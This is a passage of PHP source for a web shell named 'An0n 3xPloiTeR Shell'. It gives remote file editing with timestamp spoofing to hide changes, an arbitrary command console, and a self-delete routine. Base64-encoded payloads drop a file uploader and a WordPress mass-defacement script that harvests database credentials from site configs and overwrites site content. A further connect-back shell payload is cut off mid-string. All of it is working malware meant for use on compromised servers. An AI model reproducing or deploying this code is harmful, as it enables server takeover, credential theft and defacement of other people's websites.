1350 clearstatcache();
1351 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1352 break;
1353 case 'edit':
1354 if( !is_writable($_POST['p1'])) {
1355 echo 'File isn\'t writeable';
1356 break;
1357 }
1358 if( !empty($_POST['p3']) ) {
1359 $time = @filemtime($_POST['p1']);
1360 $_POST['p3'] = substr($_POST['p3'],1);
1361 $fp = @fopen($_POST['p1'],"w");
1362 if($fp) {
1363 @fwrite($fp,$_POST['p3']);
1364 @fclose($fp);
1365 echo 'Saved!<br><script>p3_="";</script>';
1366 @touch($_POST['p1'],$time,$time);
1367 }
1368 }
1369 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1370 $fp = @fopen($_POST['p1'], 'r');
1371 if($fp) {
1372 while( !@feof($fp) )
1373 echo htmlspecialchars(@fread($fp, 1024));
1374 @fclose($fp);
1375 }
1376 echo '</textarea><input type=submit value=">>"></form>';
1377 break;
1378 case 'hexdump':
1379 $c = @file_get_contents($_POST['p1']);
1380 $n = 0;
1381 $h = array('00000000<br>','','');
1382 $len = strlen($c);
1383 for ($i=0; $i<$len; ++$i) {
1384 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1385 switch ( ord($c[$i]) ) {
1386 case 0: $h[2] .= ' '; break;
1387 case 9: $h[2] .= ' '; break;
1388 case 10: $h[2] .= ' '; break;
1389 case 13: $h[2] .= ' '; break;
1390 default: $h[2] .= $c[$i]; break;
1391 }
1392 $n++;
1393 if ($n == 32) {
1394 $n = 0;
1395 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1396 $h[1] .= '<br>';
1397 $h[2] .= "\n";
1398 }
1399 }
1400 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1401 break;
1402 case 'rename':
1403 if( !empty($_POST['p3']) ) {
1404 if(!@rename($_POST['p1'], $_POST['p3']))
1405 echo 'Can\'t rename!<br>';
1406 else
1407 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1408 }
1409 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1410 break;
1411 case 'touch':
1412 if( !empty($_POST['p3']) ) {
1413 $time = strtotime($_POST['p3']);
1414 if($time) {
1415 if(!touch($_POST['p1'],$time,$time))
1416 echo 'Fail!';
1417 else
1418 echo 'Touched!';
1419 } else echo 'Bad time format!';
1420 }
1421 clearstatcache();
1422 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1423 break;
1424 }
1425 echo '</div>';
1426 An0n3xPloiTeRFooter();
1427}
1428
1429function actionConsole() {
1430 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1431 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
1432 $_POST['p1'] .= ' 2>&1';
1433 } elseif(!empty($_POST['p1']))
1434 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
1435
1436 if(isset($_POST['ajax'])) {
1437 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1438 ob_start();
1439 echo "d.cf.cmd.value='';\n";
1440 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".An0n3xPloiTeREx($_POST['p1']),"\n\r\t\\'\0"));
1441 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1442 if(@chdir($match[1])) {
1443 $GLOBALS['cwd'] = @getcwd();
1444 echo "c_='".$GLOBALS['cwd']."';";
1445 }
1446 }
1447 echo "d.cf.output.value+='".$temp."';";
1448 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
1449 $temp = ob_get_clean();
1450 echo strlen($temp), "\n", $temp;
1451 exit;
1452 }
1453 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1454 An0n3xPloiTeRsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1455 An0n3xPloiTeRHeader();
1456 echo "<script>
1457if(window.Event) window.captureEvents(Event.KEYDOWN);
1458var cmds = new Array('');
1459var cur = 0;
1460function kp(e) {
1461 var n = (window.Event) ? e.which : e.keyCode;
1462 if(n == 38) {
1463 cur--;
1464 if(cur>=0)
1465 document.cf.cmd.value = cmds[cur];
1466 else
1467 cur++;
1468 } else if(n == 40) {
1469 cur++;
1470 if(cur < cmds.length)
1471 document.cf.cmd.value = cmds[cur];
1472 else
1473 cur--;
1474 }
1475}
1476function add(cmd) {
1477 cmds.pop();
1478 cmds.push(cmd);
1479 cmds.push('');
1480 cur = cmds.length-1;
1481}
1482</script>";
1483 echo '<center><h1>Console</h1></center><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
1484 foreach($GLOBALS['aliases'] as $n => $v) {
1485 if($v == '') {
1486 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1487 continue;
1488 }
1489 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1490 }
1491
1492 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1493 if(!empty($_POST['p1'])) {
1494 echo htmlspecialchars("$ ".$_POST['p1']."\n".An0n3xPloiTeREx($_POST['p1']));
1495 }
1496 echo '</textarea><table style="border:1px solid #df5;background-color:#666;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
1497 echo '</form></div><script>d.cf.cmd.focus();</script>';
1498 An0n3xPloiTeRFooter();
1499}
1500
1501function actionLogout() {
1502 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
1503 die('<!DOCTYPE html>
1504<html>
1505 <head>
1506 <title>An0n 3xPloiTeR Shell</title>
1507 <meta charset="UTF-8">
1508 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
1509 <meta name="description" content="Sites description">
1510 <meta name="about" content="Made By An0n 3xPloiTeR">
1511 <meta name="description" content="Bye Bye">
1512 <style>
1513 .body {
1514 margin-top: 7vh;
1515 text-transform: capitalize;
1516 background: black url("");
1517 background-repeat:no-repeat;
1518 background-position: center;
1519 background-attachment: fixed;
1520 -webkit-background-size: cover;
1521 -moz-background-size: cover;
1522 -o-background-size: cover;
1523 background-size: cover;
1524 }
1525 .font {
1526 font-family: calibri;
1527 font-size: 300%;
1528 text-align: center;
1529 color: white;
1530 }
1531 .upass {
1532 margin-top: 70vh;
1533 font-family: calibri;
1534 font-size: 100%;
1535 text-align: center;
1536 color: black;
1537 }
1538 </style>
1539 <script language="JavaScript1.2">
1540 function ejs_nodroit(){
1541 alert("Login Please!");
1542 return(false);
1543 }
1544 document.oncontextmenu = ejs_nodroit;
1545 </script>
1546 </head>
1547
1548 <body class="body">
1549 <div class="font">
1550 <font>You Are Going :(<br>Bye :(</font>
1551 </div>
1552 </body>
1553</html>');
1554}
1555
1556function actionSelfRemove() {
1557
1558 if($_POST['p1'] == 'yes')
1559 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1560 die('<!DOCTYPE html>
1561<html>
1562 <head>
1563 <title>An0n 3xPloiTeR Shell</title>
1564 <meta charset="UTF-8">
1565 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
1566 <meta name="description" content="Sites description">
1567 <meta name="about" content="Made By An0n 3xPloiTeR">
1568 <meta name="description" content="Bye Bye">
1569 <style>
1570 .body {
1571 margin-top: 7vh;
1572 text-transform: capitalize;
1573 background: black url("");
1574 background-repeat:no-repeat;
1575 background-position: center;
1576 background-attachment: fixed;
1577 -webkit-background-size: cover;
1578 -moz-background-size: cover;
1579 -o-background-size: cover;
1580 background-size: cover;
1581 }
1582 .font {
1583 font-family: calibri;
1584 font-size: 300%;
1585 text-align: center;
1586 color: white;
1587 }
1588 .upass {
1589 margin-top: 70vh;
1590 font-family: calibri;
1591 font-size: 100%;
1592 text-align: center;
1593 color: black;
1594 }
1595 </style>
1596 <script language="JavaScript1.2">
1597 function ejs_nodroit(){
1598 alert("Shell Site Again Bitch!");
1599 return(false);
1600 }
1601 document.oncontextmenu = ejs_nodroit;
1602 </script>
1603 </head>
1604
1605 <body class="body">
1606 <div class="font">
1607 <font>You Deleted Me :3<br>Now Fuck off :V</font>
1608 </div>
1609 </body>
1610</html>');
1611 else
1612 echo 'unlink error!';
1613 if($_POST['p1'] != 'yes')
1614 An0n3xPloiTeRHeader();
1615 echo '<center><h1>Suicide</h1><div class=content>Do You Want To Remove This Shell :o ?<br><a href=# onclick="g(null,null,\'yes\')">Yup</a></div>';
1616 An0n3xPloiTeRFooter();
1617}
1618
1619 if(isset($_POST['uploader'])){
1620 $uploader = 'PD9waHAKJFVwbG9hZGVyID0gIlpXTm9ieUFuUEdoMGJXdytQR2hsWVdRK1BIUnBkR3hsUGtacGJHVWdWWEJzYjJGa1pYSWdZbmtnUVc0d2JpQXplRkJzYjJsVVpWSThMM1JwZEd4bFBnbzhiR2x1YXlCeVpXdzlJbWxqYjI0aUlIUjVjR1U5SW1sdFlXZGxMM0J1WnlJZ2FISmxaajBpYUhSMGNITTZMeTh4TG1Kd0xtSnNiMmR6Y0c5MExtTnZiUzh0YmtFdGEyRnZMWEpsVUVrdlZqaG9WMDF1WDJkelYwa3ZRVUZCUVVGQlFVRkVSbEV2WTFOQlNYSnlNV3huYjBsSFpsQXpMVWxyVDFOaFVtbzRTRTlwT0VoTVMwbDNRMUJqUWk5ek1UWXdNQzh4TkRFM01qQXlNbDh4TWpjME1ERTRNemMzTVRJek56aGZNVEEzTmpreU5EVXlORjl1TG1wd1p5SStQQzlvWldGa1BqeGliMlI1UGdvOGMzUjViR1UrQ21KdlpIbDdDbVp2Ym5RdFptRnRhV3g1T2lBaVVtRmphVzVuSUZOaGJuTWdUMjVsSWl3Z1kzVnljMmwyWlRzS1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0kyVTJaVFpsTmpzS2RHVjRkQzF6YUdGa2IzYzZNSEI0SURCd2VDQXhjSGdnSXpjMU56VTNOVHNLZlFvalkyOXVkR1Z1ZENCMGNqcG9iM1psY25zS1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvZ0l6WXpOakkyTXpzS2RHVjRkQzF6YUdGa2IzYzZNSEI0SURCd2VDQXhNSEI0SUNObVptWTdDbjBLSTJOdmJuUmxiblFnTG1acGNuTjBld3BpWVdOclozSnZkVzVrTFdOdmJHOXlPaUJ6YVd4MlpYSTdDbjBLSTJOdmJuUmxiblFnTG1acGNuTjBPbWh2ZG1WeWV3cGlZV05yWjNKdmRXNWtMV052Ykc5eU9pQnphV3gyWlhJN0NuUmxlSFF0YzJoaFpHOTNPakJ3ZUNBd2NIZ2dNWEI0SUNNM05UYzFOelU3Q24wS2RHRmliR1Y3Q21KdmNtUmxjam9nTVhCNElDTXdNREF3TURBZ1pHOTBkR1ZrT3dwOUNrZ3hld3BtYjI1MExXWmhiV2xzZVRvZ0lsSjVaU0lzSUdOMWNuTnBkbVU3Q24wS1lYc0tZMjlzYjNJNllteDFaVHNLZEdWNGRDMWtaV052Y21GMGFXOXVPaUJ1YjI1bE93cDlDbUU2YUc5MlpYSjdDbU52Ykc5eU9pQWpZMlF3TUdabU93cDBaWGgwTFhOb1lXUnZkem93Y0hnZ01IQjRJREV3Y0hnZ0kyWm1abVptWmpzS2ZRcHBibkIxZEN4elpXeGxZM1FzZEdWNGRHRnlaV0Y3Q21KdmNtUmxjam9nTVhCNElDTXdNREF3TURBZ2MyOXNhV1E3Q2kxdGIzb3RZbTl5WkdWeUxYSmhaR2wxY3pvZ05YQjRPd290ZDJWaWEybDBMV0p2Y21SbGNpMXlZV1JwZFhNNk5YQjRPd3BpYjNKa1pYSXRjbUZrYVhWek9qVndlRHNLZlFvOEwzTjBlV3hsUGdvOEwwaEZRVVErQ2p4Q1QwUlpQZ284U0RFK1BHTmxiblJsY2o0OFptOXVkQ0JqYjJ4dmNqMGljbVZrSWo1K2ZuNDhMMlp2Ym5RK1EyOWtaV1FnWW5rZ1BHWnZiblFnWTI5c2IzSTlJbkpsWkNJK1FUd3ZabTl1ZEQ1dU1HNGdNM2c4Wm05dWRDQmpiMnh2Y2owaWNtVmtJajVRYkc5cFBDOW1iMjUwUGxSbFVqeG1iMjUwSUdOdmJHOXlQU0p5WldRaVBuNStmand2Wm05dWRENEtQR0p5UGp4bWIyNTBJR052Ykc5eVBTSmliSFZsSWo1K2ZuNVFZV3NnUEdadmJuUWdZMjlzYjNJOUluSmxaQ0krUTNsaVpYSThMMlp2Ym5RK0lFZG9iM04wYzM1K2Zqd3ZabTl1ZEQ0S0lEd3ZZMlZ1ZEdWeVBqd3ZTREUrQ2p4alpXNTBaWEkrQ2p4bWIzSnRJRzFsZEdodlpEMVFUMU5VSUdWdVkzUjVjR1U5SW0xMWJIUnBjR0Z5ZEM5bWIzSnRMV1JoZEdFaUlHRmpkR2x2YmowaUlqNEtJQ0FnSUR4cGJuQjFkQ0IwZVhCbFBYUmxlSFFnYm1GdFpUMXdZWFJvUGdvSlBHbHVjSFYwSUhSNWNHVTlJbVpwYkdVaUlHNWhiV1U5SW1acGJHVnpJajRLQ1R4cGJuQjFkQ0IwZVhCbFBYTjFZbTFwZENCMllXeDFaVDBpVlhCc2IyRmtJajRLUEM5bWIzSnRQand2WW05a2VUNDhMMk5sYm5SbGNqNDhMMmgwYld3K0p6c0tKR1pwYkdWeklEMGdRQ1JmUmtsTVJWTmJJbVpwYkdWeklsMDdDbWxtSUNna1ptbHNaWE5iSW01aGJXVWlYU0FoUFNBbkp5a2dld29nSUNBZ0pHWjFiR3h3WVhSb0lEMGdKRjlTUlZGVlJWTlVXeUp3WVhSb0lsMGdMaUFrWm1sc1pYTmJJbTVoYldVaVhUc0tJQ0FnSUdsbUlDaHRiM1psWDNWd2JHOWhaR1ZrWDJacGJHVW9KR1pwYkdWeld5ZDBiWEJmYm1GdFpTZGRMQ0FrWm5Wc2JIQmhkR2dwS1NCN0NpQWdJQ0FnSUNBZ1pXTm9ieUFpUEdObGJuUmxjajQ4YURJK1BHRWdhSEpsWmowbkpHWjFiR3h3WVhSb0p5QjBZWEpuWlhROUoxOWliR0Z1YXljK1EyeHBZMnNnZEc4Z1lXTmpaWE56SUhWd2JHOWhaR1ZrSUVacGJHVThMMkUrUEM5b01qNDhMMk5sYm5SbGNqNGlPd29nSUNBZ2ZRcDkiOyBldmFsKGJhc2U2NF9kZWNvZGUoJFVwbG9hZGVyKSk7Cj8+CQkJ';
1621 $file = fopen("uploader.php.py","w");
1622 $write = fwrite ($file ,base64_decode($uploader));
1623 fclose($file);
1624 header("location:uploader.php"); }
1625
1626 if(isset($_POST['mass'])){
1627 $mass = 'PHRpdGxlPldvcmRwcmVzcyBNYXNzIERlZmFjZSBCeSBBbjBuIDN4UGxvaVRlUjwvdGl0bGU+CjxzdHlsZT4KYm9keQp7CgliYWNrZ3JvdW5kOiAjMGYwZTBkOwoJY29sb3I6ICNGRjk5MzM7CglwYWRkaW5nOiAwcHg7Cn0KYTpsaW5rLCBib2R5X2FsaW5rCnsKCWNvbG9yOiAjRkY5OTMzOwoJdGV4dC1kZWNvcmF0aW9uOiBub25lOwp9CmE6dmlzaXRlZCwgYm9keV9hdmlzaXRlZAp7Cgljb2xvcjogI0ZGOTkzMzsKCXRleHQtZGVjb3JhdGlvbjogbm9uZTsKfQphOmhvdmVyLCBhOmFjdGl2ZSwgYm9keV9haG92ZXIKewoJY29sb3I6ICNGRkZGRkY7Cgl0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KdGQsIHRoLCBwLCBsaSx0YWJsZQp7CgkKCWJhY2tncm91bmQ6ICMyZTJiMjg7Cglib3JkZXI6MXB4IHNvbGlkICM1MjRmNDY7Cn0KaW5wdXQKewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCW92ZXJmbG93OiBoaWRkZW47CgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJY29sb3I6ICNmZmZmZmY7Cn10ZXh0YXJlYQp7Cglib3JkZXI6IDFweCBzb2xpZDsKCWN1cnNvcjogZGVmYXVsdDsKCQoJb3ZlcmZsb3c6IGhpZGRlbjsKCWJhY2tncm91bmQ6ICMyZTJiMjg7Cgljb2xvcjogI2ZmZmZmZjsKfQpidXR0b24KewoJYm9yZGVyOiAxcHggc29saWQ7CgljdXJzb3I6IGRlZmF1bHQ7CgkKCW92ZXJmbG93OiBoaWRkZW47CgliYWNrZ3JvdW5kOiAjMmUyYjI4OwoJY29sb3I6ICNmZmZmZmY7Cn0KPC9zdHlsZT4KPC9oZWFkPgoKPGJvZHkgYmdjb2xvcj0iYmxhY2siPgo8Y2VudGVyPgo8cHJlPgpfXyAgICAgICAgICBfXyAgICAgIF9fICBfXyAgICAgICAgICAgICAgICAgX19fX18gICAgICAgIF9fICAgICAgICAgICAgICAgClwgXCAgICAgICAgLyAvICAgICB8ICBcLyAgfCAgICAgICAgICAgICAgIHwgIF9fIFwgICAgICAvIF98ICAgICAgICAgICAgICAKIFwgXCAgL1wgIC8gLyBfXyAgIHwgXCAgLyB8IF9fIF8gX19fIF9fXyAgfCB8ICB8IHwgX19ffCB8XyBfXyBfICBfX18gX19fIAogIFwgXC8gIFwvIC8gJ18gXCAgfCB8XC98IHwvIF9gIC8gX18vIF9ffCB8IHwgIHwgfC8gXyBcICBfLyBfYCB8LyBfXy8gXyBcCiAgIFwgIC9cICAvfCB8XykgfCB8IHwgIHwgfCAoX3wgXF9fIFxfXyBcIHwgfF9ffCB8ICBfXy8gfHwgKF98IHwgKF98ICBfXy8KICAgIFwvICBcLyB8IC5fXy8gIHxffCAgfF98XF9fLF98X19fL19fXy8gfF9fX19fLyBcX19ffF98IFxfXyxffFxfX19cX19ffAogICAgICAgICAgIHwgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgfF98ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC9wcmU+CjwvY2VudGVyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIiA+CjxjZW50ZXI+Cjx0YWJsZSBib3JkZXI9JzEnPjx0cj48dGQ+TGlzdCBvZiBBbGwgU3ltbGlua3M8L3RkPjx0ZD4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVybCIgc2l6ZT0iMTAwIiB2YWx1ZT0idW1hci50eHQiPjwvdGQ+PC90cj4KPHRyPjx0ZD5JbmRleDwvdGQ+PHRkPgo8dGV4dGFyZWEgbmFtZT0iaW5kZXgiIGNvbHM9JzUwJyByb3dzPScxMCcgPjwvdGV4dGFyZWE+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48YnI+PGlucHV0IHR5cGU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0IiB2YWx1ZT0iU3VibWl0Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iMSI+PC9mb3JtPgo8L2NlbnRlcj4KPD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmlmICgkX1BPU1RbJ2FjdGlvbiddID09ICcxJyl7CiR1cmw9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3VybCddKTsKJHVzZXJzPUBmaWxlKCR1cmwpOwoKCmlmIChjb3VudCgkdXNlcnMpPDEpIGV4aXQoIjxoMT5ObyBjb25maWcgZm91bmQ8L2gxPiIpOwpmb3JlYWNoICgkdXNlcnMgYXMgJHVzZXIpIHsKJHVzZXIxPXRyaW0oJHVzZXIpOwokY29kZT1maWxlX2dldF9jb250ZW50czIoJHVzZXIxKTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX05BTUVcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIxKTsKJGRiPSRiMVsxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX1VTRVJcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIyKTsKJHVzZXI9JGIyWzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfGRlZmluZS4qXCguKlwnREJfUEFTU1dPUkRcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGIzKTsKJGRiX3Bhc3N3b3JkPSRiM1sxXVswXTsKcHJlZ19tYXRjaF9hbGwoJ3xkZWZpbmUuKlwoLipcJ0RCX0hPU1RcJy4qLC4qXCcoLiopXCcuKlwpLio7fGlzVScsJGNvZGUsJGI0KTsKJGhvc3Q9JGI0WzFdWzBdOwpwcmVnX21hdGNoX2FsbCgnfFwkdGFibGVfcHJlZml4Lio9LipcJyguKilcJy4qO3xpc1UnLCRjb2RlLCRiNSk7CiRwPSRiNVsxXVswXTsKCgokZD1AbXlzcWxfY29ubmVjdCggJGhvc3QsICR1c2VyLCAkZGJfcGFzc3dvcmQgKSA7CmlmICgkZCl7CkBteXNxbF9zZWxlY3RfZGIoJGRiICk7CiRzb3VyY2U9c3RyaXBzbGFzaGVzKCRfUE9TVFsnaW5kZXgnXSk7CiRzMj1zdHJUb0hleCgoJHNvdXJjZSkpOwokcz0iPHNjcmlwdD5kb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuaW5uZXJIVE1MID0gdW5lc2NhcGUoJyckczInJyk7PC9zY3JpcHQ+IjsKJGxzPXN0cmxlbigkcyktMjsKJHNxbD0idXBkYXRlICIuJHAuIm9wdGlvbnMgc2V0IG9wdGlvbl92YWx1ZT0nYToyOntpOjI7YTozOntzOjU6XCJ0aXRsZVwiO3M6MDpcIlwiO3M6NDpcInRleHRcIjtzOiRsczpcIiRzXCI7czo2OlwiZmlsdGVyXCI7YjowO31zOjEyOlwiX211bHRpd2lkZ2V0XCI7aToxO30nIHdoZXJlIG9wdGlvbl9uYW1lPSd3aWRnZXRfdGV4dCc7ICI7Cm15c3FsX3F1ZXJ5KCRzcWwpIDsKJHNxbD0idXBkYXRlICIuJHAuIm9wdGlvbnMgc2V0IG9wdGlvbl92YWx1ZT0nYTo3OntzOjE5Olwid3BfaW5hY3RpdmVfd2lkZ2V0c1wiO2E6Njp7aTowO3M6MTA6XCJhcmNoaXZlcy0yXCI7aToxO3M6NjpcIm1ldGEtMlwiO2k6MjtzOjg6XCJzZWFyY2gtMlwiO2k6MztzOjEyOlwiY2F0ZWdvcmllcy0yXCI7aTo0O3M6MTQ6XCJyZWNlbnQtcG9zdHMtMlwiO2k6NTtzOjE3OlwicmVjZW50LWNvbW1lbnRzLTJcIjt9czo5Olwic2lkZWJhci0xXCI7YToxOntpOjA7czo2OlwidGV4dC0yXCI7fXM6OTpcInNpZGViYXItMlwiO2E6MDp7fXM6OTpcInNpZGViYXItM1wiO2E6MDp7fXM6OTpcInNpZGViYXItNFwiO2E6MDp7fXM6OTpcInNpZGViYXItNVwiO2E6MDp7fXM6MTM6XCJhcnJheV92ZXJzaW9uXCI7aTozO30nIHdoZXJlIG9wdGlvbl9uYW1lPSdzaWRlYmFyc193aWRnZXRzJzsiOwpteXNxbF9xdWVyeSgkc3FsKSA7CmlmIChmdW5jdGlvbl9leGlzdHMoIm1iX2NvbnZlcnRfZW5jb2RpbmciKSApCnsKJHNvdXJjZTIgPSBtYl9jb252ZXJ0X2VuY29kaW5nKCc8L3RpdGxlPicuJHNvdXJjZS4nPERJViBzdHlsZT0iRElTUExBWTogbm9uZSI+PHhtcD4nLCAnVVRGLTcnKTsKJHNvdXJjZTI9bXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCRzb3VyY2UyKTsKJHNxbCA9ICJVUERBVEUgYCIuJHAuIm9wdGlvbnNgIFNFVCBgb3B0aW9uX3ZhbHVlYCA9ICckc291cmNlMicgV0hFUkUgYG9wdGlvbl9uYW1lYCA9ICdibG9nbmFtZSc7IjsKQG15c3FsX3F1ZXJ5KCRzcWwpIDsgOwokc3FsPSAiVVBEQVRFIGAiLiRwLiJvcHRpb25zYCBTRVQgYG9wdGlvbl92YWx1ZWAgPSAnVVRGLTcnIFdIRVJFIGBvcHRpb25fbmFtZWAgPSAnYmxvZ19jaGFyc2V0JzsiOwpAbXlzcWxfcXVlcnkoJHNxbCkgOyA7Cn0KJGFhPUBteXNxbF9xdWVyeSgic2VsZWN0IG9wdGlvbl92YWx1ZSBmcm9tIGAiLiRwLiJvcHRpb25zYCBXSEVSRSBgb3B0aW9uX25hbWVgID0gJ3NpdGV1cmwnOyIpIDs7CiRzaXRldXJsPUBteXNxbF9mZXRjaF9hcnJheSgkYWEpIDsKJHNpdGV1cmw9JHNpdGV1cmxbJ29wdGlvbl92YWx1ZSddOwokdHIuPSIkc2l0ZXVybC9pbmRleC5waHBcbiI7Cm15c3FsX2Nsb3NlKCk7Cn0KfQppZiAoJHRyKSBlY2hvICJJbmRleCBjaGFuZ2VkIGZvciA8YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPSc1MCcgcm93cz0nMTAnID4kdHI8L3RleHRhcmVhPiI7Cn0KZnVuY3Rpb24gc3RyVG9IZXgoJHN0cmluZykKewogICAgJGhleD0nJzsKICAgIGZvciAoJGk9MDsgJGkgPCBzdHJsZW4oJHN0cmluZyk7ICRpKyspCiAgICB7CglpZiAoc3RybGVuKGRlY2hleChvcmQoJHN0cmluZ1skaV0pKSk9PTEpewogICAgICAgICRoZXggLj0iJTAiLiBkZWNoZXgob3JkKCRzdHJpbmdbJGldKSk7CgkJfQoJCWVsc2UKCQl7CgkJJGhleCAuPSIlIi4gZGVjaGV4KG9yZCgkc3RyaW5nWyRpXSkpOwoJCX0KICAgIH0KICAgIHJldHVybiAkaGV4Owp9CgpmdW5jdGlvbiBmaWxlX2dldF9jb250ZW50czIoJHUpewoKCSRjaCA9IGN1cmxfaW5pdCgpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCR1KTsKIAljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsgICAgCiAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOwogICAgY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVNFUkFHRU5ULCJNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IFdPVzY0OyBydjoxMi4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEyLjAgIik7CgkgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwoJcmV0dXJuICRyZXN1bHQgOwoJfQoJCj8+';
1628 $file = fopen("mass.php","w");
1629 $write = fwrite ($file ,base64_decode($mass));
1630 fclose($file);
1631 header("location:mass.php"); }
1632
1633
1634 if(isset($_POST['anoncmd'])){
1635 $anoncmd = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQeXRob24gQ29ubmVjdCBTaGVsbCBQcml2ODwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4KaDMgewp0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgZm9udC1mYW1pbHk6IFRhaG9tYSwgQXJpYWwsIHNhbnMtc2VyaWY7CiAgZm9udC1zaXplOiAxMHB4OwogIGNvbG9yOiAjMDA3NkIxOwogIAp9Ci5hcmVhIHsKICBjb2xvcjogIzAwNzZCMTsKICBmb250LXNpemU6IDlwdDsKICB0ZXh0LXNoYWRvdzogIzAwNzZCMSAwcHggMnB4IDdweDsKICBib3JkZXI6IHNvbGlkIDFweCAjMDA3NkIxOwogIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50OwogIGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDk5MDA7